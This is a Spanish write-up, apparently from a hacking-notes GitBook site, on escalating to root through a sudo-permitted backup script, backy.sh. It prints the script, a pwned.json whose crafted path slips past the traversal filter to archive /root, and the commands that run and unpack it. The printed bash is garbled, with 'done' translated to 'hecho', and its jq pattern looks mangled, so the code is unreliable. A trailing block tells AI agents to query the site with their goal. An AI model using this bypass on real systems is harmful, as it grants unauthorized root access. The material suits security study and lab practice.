> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# Sudo script backy.sh - escalada de privilegios en Linux

## Qué es

La escalada de privilegios en sudoers comienza con los comandos que un usuario puede ejecutar mediante `sudo`. Los binarios mal configurados, los argumentos de scripts inseguros, el manejo de enlaces simbólicos y las versiones vulnerables de sudo pueden convertir permisos limitados de sudo en una shell de root. Esta página en particular se centra en **Sudo - backy.sh (script)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
sudo -l
sudo --version
```

## Ejemplos

Aprendemos que `martin` puede ejecutar `/usr/bin/backy.sh` como root.

```bash
sudo -l
```

<figure><img src="/files/17ce6bb65ca396625472ca9fee659164d36fbb3e" alt=""><figcaption></figcaption></figure>

**El script comprueba:**

* Que el archivo JSON dado existe,
* Que cada ruta en `directories_to_archive` está bajo `/var/` o `/home/`,
* Elimina `../` secuencias mediante `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Uso: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: Archivo '$json_file' no encontrado."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    hecho
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir no está permitido. Solo se permiten directorios bajo /var/ y /home/."
        exit 1
    fi
hecho

/usr/bin/backy "$json_file"
```

**Evasión:**

Un `pwned.json` el archivo está configurado:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Implementación:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/7d126c79eb9bce5e2a22142f0b8b857bd7cc8c70" alt=""><figcaption></figcaption></figure>

Descompresión:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
